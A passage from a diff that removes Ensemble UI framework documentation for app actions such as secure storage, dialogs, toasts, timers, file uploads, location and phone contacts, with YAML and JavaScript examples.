given key, `null` will be returned. -- Data stored using [setSecureStorage](#setsecurestorage) can be retrieved with this action. -- The value is available in the `onComplete` action under `event.data` when used in YAML. -- When used in JavaScript, the value is returned directly from the function call. - ---- - -# setSecureStorage - -The `setSecureStorage` action securely stores sensitive information in an encrypted format on the device, ensuring that sensitive data like tokens, user credentials, or personal information remains protected from unauthorized access. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :---------------------------------------------------------------------------------------- | -| key | string | The key to store the value under | -| value | any | The value to store securely. Can be a string, number, boolean, or complex object | -| onComplete | action | Execute an Action when the data has been successfully stored | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Save Secure Data - onTap: - setSecureStorage: - key: userToken - value: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiaWF0IjoxNTE2MjM5MDIyfQ - onComplete: - showToast: - message: Token stored securely - options: - type: success - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -You can also use this action in JavaScript: - -```javascript -// Store a simple string value -ensemble.setSecureStorage({ - key: "userToken", - value: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", -}); - -// Store a complex object -ensemble.setSecureStorage({ - key: "userProfile", - value: { - id: 123, - name: "John Doe", - isActive: true, - permissions: ["read", "write"], - }, -}); -``` - -## Notes - -- This action requires an encryption key to be set in your secrets configuration. -- The value can be any type of data - strings, numbers, booleans, or complex objects. -- All data is encrypted before storage using AES encryption. -- To retrieve the value later, use the [getSecureStorage](#getsecurestorage) action. -- To remove the value, use the [clearSecureStorage](#clearsecurestorage) action. - ---- - -# clearSecureStorage - -The `clearSecureStorage` action removes previously stored encrypted data from the device's secure storage, allowing you to clean up sensitive information when it's no longer needed, enhancing security by minimizing data exposure. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :---------------------------------------------------------------------------------------- | -| key | string | The key to remove from secure storage | -| onComplete | action | Execute an Action when the data has been successfully removed | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Clear Secure Data - onTap: - clearSecureStorage: - key: userToken - onComplete: - showToast: - message: Secure data removed successfully - options: - type: success - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -You can also use this action in JavaScript: - -```javascript -// Clear a stored secure value -ensemble.clearSecureStorage("userToken"); - -// With error handling -try { - ensemble.clearSecureStorage("userToken"); - console.log("Token removed successfully"); -} catch (error) { - console.error("Failed to clear token: " + error); -} -``` - -## Notes - -- This action requires an encryption key to be set in your secrets configuration. -- This action completely removes the specified key and its associated value from secure storage. -- If the key doesn't exist, the action completes successfully without any error. -- Use this action for cleanup when sensitive data is no longer needed (e.g., after logout). -- For security best practices, always clear sensitive data when it's no longer required. -- This action works with data stored using [setSecureStorage](#setsecurestorage). - ---- - -# Share - -Using the native sharing capabilities of the device to provide users with the ability to share text and files. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :----------------------------------------------------------------------------------------- | -| title | string | Optional title (e.g. email's title) | -| text | string | Text and/or URL to share | -| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | - -**Example** - -The share action is triggered when the "Open Share Sheet" button is tapped. It typically opens the native share sheet on the device, allowing users to share content. In this case, it shares a title ("EnsembleUI") and a URL ("https://ensembleui.com/"). - -```yaml - - Button: - label: Open Share Sheet - onTap: - share: - title: EnsembleUI - text: https://ensembleui.com/ - - Text: - text: Works only on Native iOS and Android -``` -**Share Sheet Screenshot** -
    - Output Screenshot -

    Clicking the "Open Share Sheet" will open share sheet to share the provided text and title

    -
    - -Here's the example of how you can share files using `share` action -```yaml -- Button: - label: Share Files - onTap: - pickFiles: - id: filePicker - source: files - onComplete: - share: - files: ${filePicker.files} - text: I selected this file -``` - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Dnv8CceAHCHlEpS61DEE) - ---- - -# showBottomModal - -The `showBottomModal` action enables the display of content on a modal that slides from the bottom of the device, providing a user experience similar to iOS Sheets. - -```yaml - - Button: - label: Show Modal Using Code - onTap: - showBottomModal: - widget: - ActionsSheet: - inputs: - action1: Action 1 - action2: Action 2 - styles: - backgroundColor: white - barrierColor: 0x22000000 - options: - enableDrag: true - enableDragHandler: true -``` - -The `showBottomModal` action is configured to call an `ActionsSheet` widget with two inputs: `action1` and `action2`. These inputs are then utilized within the `ActionsSheet` widget to customize its content. - -## Properties - -| Property | Type | Description | -|:--------------|:----------|:-------------| -| widget | [Widget](/pages/widgets/.md) | Constructs the UI of the bottom modal using widgets. | -| styles | [Styles](#styles) | Applies styles to customize the appearance of the modal. | -| options | [Options](#options) | Offers customization options for the modal behavior. | -| onDismiss | Action | Execute predefined functions or custom code on modal dismiss. | - -## Styles - -| Property | Type | Description | -|:--------------|:----------|:-------------| -| backgroundColor | string | Set the background color of the modal. | -| barrierColor | string | Sets the color of the barrier behind the modal. | - -## Options - -| Property | Type | Description | -|:--------------|:----------|:-------------| -| enableDrag | boolean | Enable the user to drag the modal up and down. | -| enableDragHandler | boolean | Determines whether the drag handler is displayed. | - ---- - -# showDialog - -showDialog action triggers the display of a modal dialog box within the app, presenting users with important information, notifications, or customizable content while pausing the main app flow, ensuring clear and focused communication with users. - -### Properties - -| Property | Type | Description | -| :-------------- | :------ | :----------------------------------------------------------------------------------------------------- | -| widget | widget | Return an inline widget or specify a custom widget's name to use in the dialog. | -| options | object | [see properties](#propertiesoptions) | -| dismissible | boolean | This property denotes whether the dialog can be dismissed by tapping outside of it. Default is `true`. | -| onDialogDismiss | action | Execute an Action when the dialog is dismissed. | - -#### properties.options - -| Property | Type | Description | -| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| minWidth | integer | | -| maxWidth | integer | | -| minHeight | integer | | -| horizontalOffset | number | Offset the dialog's position horizontally, with -1.0 for the screen's left and 1.0 for the screen's right. (default is 0 for centering horizontally) minimum `-1.0` and maximum `1.0` | -| verticalOffset | number | Offset the dialog's position vertically, with -1.0 for the screen's top and 1.0 for the screen's bottom. (default is 0 for centering vertically) minimum `-1.0` and maximum `1.0` | -| style | string | Render the dialog with a default style. You can also specify 'none' and control your own styles in your widget. `default` `none` | - -**Example** - -Here we are gonna see how we can - - - -```yaml -View: - header: - title: Dialog - onLoad: - showDialog: - widget: MyStartingDialog - - body: - Column: - styles: { margin: 10, gap: 5 } - children: - # use inline widget - - Text: - text: Your dialog can also be an inline widget - - Button: - label: Show Dialog - onTap: - showDialog: - widget: - Text: - text: This dialog declares the widget inline and uses the default style. - - - Spacer: - styles: - size: 20 - - # use custom styling - - Text: - text: You can customize the dialog style - - Button: - label: Show Custom Dialog - onTap: - showDialog: - widget: MyCustomDialog - options: - # no default style - zero margin/padding, no background color - style: none - # move it up half way between the top and the center of the screen - verticalOffset: -0.5 - -# Custom Widget -MyStartingDialog: - body: - Column: - styles: - gap: 10 - children: - - Text: - text: Welcome to Ensemble - styles: - fontSize: 16 - fontWeight: bold - - Text: - text: This dialog pops up when the user first visits the page. - - Button: - label: Close dialog - onTap: closeAllDialogs - -MyCustomDialog: - body: - Column: - styles: - gap: 10 - backgroundColor: 0xffD7BFA8 - borderRadius: 10 - margin: 20 - padding: 20 - children: - - Text: - text: |- - This dialog set its own margin/padding and background color. - - It also offset the dialog position vertically. -``` - -Try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - - -**Example with inputs** - -We can also make use of inputs property for `showDialog` action to pass any input parameters to be used with dialog. Lets look at the previous example but this time with some input values. - -```yaml -View: - header: - title: Dialog - onLoad: - showDialog: - widget: MyStartingDialog - body: - Column: - styles: { margin: 10, gap: 5 } - children: - - Text: - text: You can customize the dialog style and provide inputs as well - - Button: - label: Show Custom Dialog - onTap: - showDialog: - widget: - MyCustomDialog: - inputs: - name: Peter - options: - # no default style - zero margin/padding, no background color - style: none - # move it up half way between the top and the center of the screen - verticalOffset: -0.5 - - onDialogDismiss: | - //@code - console.log("dialog dismissed"); - -MyCustomDialog: - inputs: - - name - body: - Column: - styles: - gap: 10 - backgroundColor: 0xffD7BFA8 - borderRadius: 10 - margin: 20 - padding: 20 - children: - - Text: - text: |- - Hi ${name} - This dialog set its own margin/padding and background color. - - It also offset the dialog position vertically. -``` - -**Explanation** - -- In the code for showDialog we are passing an input `name` with value `Peter` which can be seen clearly in the output. - -**Example with Controlled dismissible property** - -We can use `dismissble` property to control whether the dialog can be dismissble while tapping outside of it or not. If `dismissble` is `false`, dialog will not dismiss on tapping outside of it and vice verca. Default `dismissble`state of dialog is true. If you don't specify the property then the dialog will be dismissble. - -```yaml -View: - header: - title: Dialog - body: - Column: - styles: - padding: 24 - gap: 16 - children: - - Button: - label: Show undismissible dialog - onTap: - showDialog: - dismissible: false - body: - Text: - text: This is undismissible dialog - - Button: - label: Show Undismissble dialog (Custom dismiss implementation ) - onTap: - showDialog: - dismissible: false - body: - Column: - children: - - Text: - text: This is undismissible dialog - - Button: - label: Dismiss - onTap: - dismissDialog: -``` - ---- - -# showNotification - -showNotification action triggers the display of local notifications within the app, notifying users of important events or information even when the app is in the background or closed, enhancing user engagement and ensuring timely communication with users. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :-------------------- | -| title | string | Title of notification | -| body | string | Body of notification | - -**Example** - -You can refer [here](#requestnotificationaccess) for example related to notification. Can also refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/zbIn4f6tD3yQkC1MJRj1?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). - ---- - -# showToast - -The ShowToast enables the display of informative toast messages, providing temporary and non-intrusive notifications or alerts within your application for important updates or messages. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/LBertkIs2inDfUn87NrI) - -## Properties - -| Property | Type | Description | -| :-------- | :----- | :----------------------------- | -| showToast | object | Showing a toast message | -| options | object | Select a built-in toast style. | -| styles | object | Toast's styles | - -### showToast - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------------------------------------------- | -| message | string | The toast message. Either this message or a widget must be provided. | -| widget | object | The custom widget to show as the Toast's body. Either this widget or a toast message must be provided. | -| options | object | Select a built-in toast style. | -| styles | object | Toast's styles | - -### options - -| Property | Type | Description | -| :---------- | :------ | :------------------------------------------------------------------------------------------------------------------------ | -| type | string | Select a built-in toast style. One of the following - 'success', 'error', 'warning', 'info' | -| dismissible | boolean | Whether to show a dismiss button (default is True) | -| alignment | string | Toast's position. Can be one of: `top`, `topLeft`, `topRight`, `center`, `centerLeft`, `centerRight`, `bottom`, `bottomLeft`, `bottomRight` | -| duration | integer | The number of seconds before the toast is dismissed. Minimum value is 1. | - -### styles - -| Property | Type | Description | -| :-------------- | :--------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | | Toast's background color starting with '0xFF' for full opacity e.g 0xFFCCCCCC | -| shadowColor | string or number | Box shadow color starting with '0xFF' for full opacity. | -| shadowRadius | integer | Toast's shadow radius. Minimum value is 0. | -| shadowOffset | array | Toast's shadow offset. | -| borderRadius | | Toast's border radius. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| size | integer | Specifies the width (progress bar) or the diameter (circular progress indicator) | -| thickness | integer | Specifies the thickness of the indicator (for progress bar this is the height) | -| color | | Progress indicator color. | - ---- - -# startTimer - -Use the `onTimer` action to start a timer. Then use the `onTimer` and/or `onTimerComplete` properties to execute other actions once the timer finishes. - -### Properties - -| Property | Type | Description | -| :-------------- | :----- | :----------------------------------------------------------------- | -| id | string | Give this timer an ID so it can be cancelled by a stopTimer action | -| onTimer | action | Execute an Action every time the timer triggers | -| onTimerComplete | action | Execute an Action when the timer has completed and will terminate | -| options | object | [see properties](#propertiesoptions) | - -#### properties.options - -| Property | Type | Description | -| :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | :------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| isGlobal | boolean | Marking this timer as global will ensure the timer, if repeating indefinitely, will continue to run even if the user navigates away from the screen, until explicitly stopped by the stopTimer action. Note that there can only ever be one global timer. Creating a new global timer will automatically cancel the previous global timer. | -| In the example below, we start a time that calls an API after 5 seconds, and repeat this action 3 times. That means after 15 seconds, the `onTimerComplete` action is executed. | -| startAfter | integer | Delay the timer's start by this number of seconds. If not specified and repeat is true, repeatInterval will be used. If none is specified, there will be no initial delay | -| repeat | boolean | Whether the time should repeat and trigger at every repeatInterval seconds. This Timer will run continuously unless a maxNumberOfTimes is specified | -| repeatInterval | integral | Trigger the timer periodically at this repeatInterval (in seconds) | -| maxNumberOfTimes | integer | Set the max number of times the timer will triggers, if repeat is true | - -**Usage Examples** - -In the example below, we start a time that calls an API after 5 seconds, and repeat this action 3 times. That means after 15 seconds, the `onTimerComplete` action is executed. - - - -```yaml -View: - header: - title: "Action: startTimer" - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Start Timer - onTap: - startTimer: - onTimer: - invokeAPI: - name: getNYCTime - options: - repeat: true - maxNumberOfTimes: 3 - repeatInterval: 5 - onTimerComplete: - executeCode: - body: | - //@code - timerComplete.text = 'Timer completed'; - - - Text: - text: | - API response: - ${getNYCTime.body.datetime} - - - Text: - id: timerComplete - -API: - getNYCTime: - authentication: none - method: GET - uri: https://worldtimeapi.org/api/timezone/America/New_York -``` - - - -To learn more about how to use `startTimer` action, check out the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/86fba216-4f96-408b-abff-d3ddcfbdcf49) example. - ---- - -# stopAudio - -The stopAudio action allows users to stop a already playing audio file - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - ---- - -# stopTimer - -stopTimer action allows developers to halt or pause a running timer within the app, providing control over time-sensitive processes and facilitating efficient handling of time-related events, enhancing user interactions and application behavior. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------------------- | -| id | string | Stop the timer with this ID if it is running | - -**Example** - - - -```yaml -Joke: - body: - Column: - styles: { gap: 10 } - children: - - Text: - text: Click the button to show a Chuck Norris joke every 10 seconds. Click Stop when you have enough. - - Row: - styles: { gap: 10 } - children: - - Button: - label: Tell me a joke - onTap: - startTimer: - id: jokeTimer - options: - isGlobal: true - repeat: true - repeatInterval: 10 - startAfter: 0 - onTimer: - invokeAPI: - name: jokeAPI - onResponse: |- - //@code - output.text = response.body.value; - - - Button: - label: Stop - onTap: - stopTimer: - id: jokeTimer - - Text: - id: output -``` - - - -see the complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/86fba216-4f96-408b-abff-d3ddcfbdcf49?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) to understand usage - ---- - -# takeScreenshot - -takeScreenshot action allows you to capture a screenshot of read-only widgets using its widgetId. The screenshot is saved to the gallery on mobile platforms or downloaded directly on the web, while also providing the image bytes for further use. It's an efficient solution for exporting visual content in high quality. -### Properties - -| Property | Type | Description | -| :--------- | :----- | :----------------------------------------------------------------------------------------- | -| widgetId | string | The ID of the target widget to be captured as a screenshot. | -| onSuccess | action | Action to be excecuted on successful screenshot capture. | -| onError | action | Action to be excecuted on error during screenshot capture.| - -### Event Data - -When the `onSuccess` action is executed, the following data is available under `event.data`: - -- **imageBytes**: Provides bytes of the screenshot. -- **size**: Provides total size of image in bytes, e.g. if screenshot has size of 1KB then `size` will return 1024. -- **dimensions**: Provides dimentions of the image as `dimensions.width` and `dimensions.height` - -When the `onError` action is executed, the following data is available under `event.data`: - -- **error**: Error message describing the issue. -- - -**Example** - -```yaml -View: - styles: - scrollableView: true - header: - title: "Action: takeScreenshot" - - Column: - styles: - gap: 16 - padding: 24 - children: - - Column: - id: section1 - styles: - gap: 16 - children: - - Button: - label: Test Button 1 - - Button: - label: Test Button 2 - # Take Screenshot using `takeScreenshot` action - - Button: - label: Take Screenshot - onTap: - takeScreenshot: - widgetId: ${section1} - onSuccess: - executeCode: - body: | - console.log(event.data.imageBytes) - console.log(event.data.size) - console.log(event.data.dimensions) - - # Take Screenshot using ensemble object in JavaScript `ensemble.takeScreenshot` - - Button: - label: Take Screenshot with JS - onTap: - executeCode: - body: | - ensemble.takeScreenshot({widgetId: section1}) -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/C3zALhZvHQHyFISY9Yvo) - ---- - -# uploadFiles - -uploadFiles action allows users to select and upload files from their device to the app, enabling easy data transfer and content sharing, supporting various file formats, and enhancing the app's versatility and user engagement. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :----------------------------------------------------------------------------------------- | -| id | string | Give the uploadApi an ID, allows you to bind to its result. e.g. ${apiId.body...} | -| uploadApi | string | Enter the name of your defined API | -| onComplete | action | Execute another Action upon successful upload of files | -| onError | action | Execute an Action when uploader fails with error(s) | -| inputs | array | Define the list of input names that upload API accepts | -| fieldName | string | Field name that your server is expecting (default files) | -| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | -| options | object | [see properties](#propertiesoptions) | - -#### properties.option - -| Property | Type | Description | -| :--------------------- | :------ | :---------------------------------------------------------------------------------------------------------------------- | -| maxFileSize | integer | File size that is allowed (default 100 mb), If multiple is allow then sum of all files | -| overMaxFileSizeMessage | string | Error message to show when selected files size is above maxFileSize. | -| backgroundTask | boolean | If set true, uploading will be done in background. | -| showNotification | boolean | If set true, progress will be show in notification bar. | -| networkType | object | An enumeration of network types. `connected` `metered` `not_required` `not_roaming` `unmetered` `temporarily_unmetered` | - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: "Action: uploadFiles" - - # Specify the body of the screen - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: | - Use the `uploadFiles` action upload files to specify `uploadApi`. - - Then use the `onComplete` properties to execute other actions when upload is successful. - - - Button: - label: Pick Files - onTap: - pickFiles: - id: picker - - - Button: - label: Upload Picked files - onTap: - executeCode: - body: | - //@code - loading.visible = true; - - onComplete: - uploadFiles: - id: fileUploader - files: ${picker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - loading.visible = false; - onError: | - //@code - - loading.visible = false; - maxFileSize: 100 - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${fileUploader.body} - - - Progress: - display: circular - id: loading - visible: false - - - Divider - - - Markdown: - text: | - Chain multiple file actions to pick files and upload them in one go - - Using `pickFiles` to pick file based on platform picker - - Using `uploadFiles` to upload selected files from file picker - - - Button: - label: Pick & Upload - onTap: - pickFiles: - id: filePicker - onComplete: - uploadFiles: - files: ${filePicker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - ensemble.debug('File uploaded'); - - - Divider: - - - Markdown: - text: | - `pickFiles` also comes with option such as: - - - `allowMultiple` : To allow muliple file selection from gallery picker default (false) - - `allowCompression` : It will allow media to apply the default OS compression (default True) - - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... - - `uploadFiles` also comes with option such as: - - - `files` : Pass the files that needs to upload e.g ${filePicker.files} - - - `fieldName` : Field name that your server is expecting. (default files). - - - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files - - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. - - - Row: - styles: { mainAxis: spaceBetween, crossAxis: center } - children: - - Button: - label: Multiple Images - onTap: - pickFiles: - id: images - allowMultiple: true - allowCompression: false - allowedExtensions: - - jpg - - png - - - Text: - text: ${images.files.length} - - Button: - label: Upload Multiple images - onTap: - uploadFiles: - id: imageUploader - uploadApi: fileUploadApi - files: ${images.files} - fieldName: files - inputs: - url: https://en09cdal5asztm.x.pipedream.net - maxFileSize: 100 # in kb - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${imageUploader.body} - - Divider - - - Markdown: - text: | - ### Background file upload - - Pick and Upload files in background. - - In unmetered connection (wifi/lan) - - Also show notification - - *Not supported on web / studio. - - - Button: - label: Background upload - onTap: - pickFiles: - id: bgFilePicker - onComplete: - uploadFiles: - uploadApi: fileUploadApi - files: ${bgFilePicker.files} - inputs: - url: https://en09cdal5asztm.x.pipedream.net - id: bgUploader - options: - backgroundTask: true - showNotification: true - networkType: unmetered - - - Divider: - - - Markdown: - text: | - _Side Note: If you are using default uploadURL it's using RequestBin_ - - _RequestBin has maxFileSize of __100 kb__ above it will fail._ - - _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ - - - Divider: - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# Formatter - -Ensemble provide convenience formatter utilities for handling date/time and common tasks. - -Access these formatters with prefix `ensemble.formatter.*`. - -### prettyDate() -Accepts an ISO date-time string and output the most common user-friendly format based on the user's detected locale. -- `ISO string`: the string to convert to a user-friendly date string. - -```yaml -Text: - # output "Dec 2, 2022" or "2 Dec 2022" depending on detected locale. - text: ${ensemble.formatter.prettyDate("2022-12-02T14:20:05-0700")} - -Button: - onTap: |- - // same output in Javascript. - console.log(ensemble.formatter.prettyDate("2022-12-02")); -``` -For a more complete Date operations, see [Date](../javascript-reference/Date.md) - -### prettyTime() -Accepts an ISO date-time string and outputs the most common user-friendly time format based on the user's detected locale. -- ISO string: The string to convert to a user-friendly time string. - -```yaml -Text: - # output "2:20 PM" or "14:20" depending on detected locale. - text: ${ensemble.formatter.prettyTime("2022-12-02T14:20:05-0700")} -``` - -### prettyDateTime() -Accepts an ISO date-time string and outputs the most common user-friendly date and time format based on the user's detected locale. -- ISO string: The string to convert to a user-friendly date and time string. - -```yaml -Text: - # output "Dec 2, 2022, 2:20 PM" or "2 Dec 2022, 14:20" depending on detected locale. - text: ${ensemble.formatter.prettyDateTime("2022-12-02T14:20:05-0700")} -``` - -### customDateTime() -Accepts an ISO date-time string and a pattern that, then outputs the date and time formatted according to the provided pattern (user locale will be ignored). -- ISO string: The string to convert to a formatted date and time string. -- Pattern: The pattern to use for formatting the date and time string. - -```yaml -Text: - # output 2022-12-02 14:20" for all locales - text: ${ensemble.formatter.customDateTime('2022-12-02T14:20:05-0700', 'yyyy-MM-dd HH:mm')} -``` - ---- - - -# Device - -Ensemble provides convenient access to device information and capabilities. This includes device information, such as the device model, operating system, and screen size. - -Access these properties/methods with the prefix `ensemble.device.*`. - ---- - -# checkPermission - -`checkPermission` is designed to check the permission status. It includes components for checking notification, location, contacts, and camera permissions. - -**Inputs** -`type`: applicable types are `notification`, `location`, `contacts`, and `camera`. - -**Callbacks** -1. `onAuthorized`: Executes when the components permission to authorized. Updates the text of the component to "Authorized." - -2. `onDenied`: Executes when the components permission to denied. Updates the text of the component to "Denied." - -3. `onNotDetermined`: Executes when the components permission to not determined. Updates the text of the component to "Not Determined." - -```yaml -- Button: - label: Notification Permission - onTap: - checkPermission: - type: notification - onAuthorized: | - //@code - notificationStatus.text = "Authorized"; - console.log("onAuthorized called"); - onDenied: | - //@code - notificationStatus.text = "Denied" - console.log("onDenied called"); - onNotDetermined: | - //@code - notificationStatus.text = "Not Determined" - console.log("onNotDetermined called"); -``` -When a user taps the "Notification Permission" button, the app checks the notification permission status. Depending on the status, one of the specified callbacks (onAuthorized, onDenied, or onNotDetermined) is executed. - ---- - -# getLocation - -getLocation action enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location - -### Module (ensemble_location) -Enable Location service in Ensemble code - -By default, Ensemble does not include the location module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_location/location_manager.dart'; -``` - -* Search for this line and uncomment it: -``` - // GetIt.I.registerSingleton(LocationManagerImpl()); -``` - -* Search for this line and set it to true -``` - static const useLocation = false; -``` - ---- - -### Properties - -| Property | Type | Description | -| :----------------- | :----- | :---------------------------------------------------------------------------------------------------- | -| options | object | [see properties](#propertiesoptions) | -| onLocationReceived | action | Callback Action once we get the device location | -| onError | action | Callback Action if we are unable to get the device location. Reason is available under 'reason' field | - -#### properties.options - -| Property | Type | Description | -| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| recurring | boolean | Whether to continuously get the device location on this screen. Note that a screen can only have one recurring location listener. Adding multiple recurring location listeners will cancel the previous one. | -| recurringDistanceFilter | integer | If recurring, the minimum distance (in meters) the device has moved before new location is returned. (default: 1000 meters, minimum: 50 meters) | - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: "Action: getLocation" - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Get location via Action - styles: - font: subtitle - - Markdown: - text: Use `getLocation` Action to get the location, with the option to continuously get location change updates. - - Button: - label: Listen for location changes - onTap: - getLocation: - options: - recurring: true # while on this page, location changes will continue to execute onLocationReceived - recurringDistanceFilter: 50 # only dispatch if the new location is more than 50 meters away from the previous location - onLocationReceived: |- - //@code - status.text = 'Lat: ' + latitude + ', Lng: ' + longitude; - onError: |- - //@code - status.text = reason; - - Text: - id: status -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/uH9b2ZnmSS3HT7BsECu4?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# getPhoneContacts - -The `PhoneContacts` view is designed to retrieve and display phone contacts from Android and iOS physical devices or simulators. It includes a warning note, a button to fetch contacts, and a list view to display individual contact details. - -```yaml -- Button: - label: Get Phone Contacts - onTap: - getPhoneContacts: - id: phoneContactId - onSuccess: | - // ***code - console.log("Phone Number Fetched Successfully"); - ensemble.storage.set('contacts', event.data['contacts']); - - onError: | - // ***code - console.log("Something went wrong!"); -``` -The `onSuccess` and `onError` callbacks for the "Get Phone Contacts" button. In the success callback (onSuccess), the retrieved contacts are logged to the console and stored in the `ensemble.storage.contacts`. In the error callback (onError), a message is logged indicating an issue. - -```yaml -- ListView: - id: listView - styles: - expanded: true - item-template: - data: ${ensemble.storage.contacts} - name: contact - template: - UserContact: - inputs: - contact: ${contact} -``` -The `ListView` component displaying a list of contacts (ensemble.storage.contacts). It uses the `UserContact` custom widget template for each item in the list. - -```yaml -UserContact: - inputs: - - contact - styles: { gap: 10 } - onLoad: - getPhoneContactPhoto: - id: contactPhotoId - contactId: ${contact.id} - - # Using JS Code - - # //@code - # ensemble.getPhoneContactPhoto({ - # id: "contactPhotoId", - # contactId: contact.id - # }); - - body: - Column: - styles: { gap: 2 } - children: - - Row: - children: - - Image: - source: ${contactPhotoId.image} - width: 100 - height: 100 - fallback: ImageFallbackWidget - - Column: - styles: { gap: 2, margin: 10 } - children: - - Text: - textStyle: { fontWeight: bold, fontSize: 18 } - text: "${contact.displayName}" - - Text: - textStyle: { fontWeight: bold, fontSize: 18 } - text: "${getPhoneNumber(contact.phones)}" - - Shape: - styles: - height: 10 - - Divider: -``` -The `UserContact` component representing the structure for displaying an individual contact. It includes an `Image` and two `Text` components for displaying the contact's display image, name and phone number. The `getPhoneContactPhoto` action is used to get the contact photo with the contactId. - -```yaml -Global: | - //@code - - if (ensemble.storage.contacts == null) { - ensemble.storage.contacts = []; - } - - function getPhoneNumber(phones) { - if (phones.length > 0) { - return phones[0].number; - } else { - return ""; - } - } -``` -The global code block initializes `ensemble.storage.contacts` as an empty array if it's null. It also includes the `getPhoneNumber` function, which extracts the primary phone number from an array of phone numbers. - ---- - -# invokeAPI - -To check out examples of the invokeAPI action, go to the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e546b0d8-3220-4217-bd5c-181118154073). 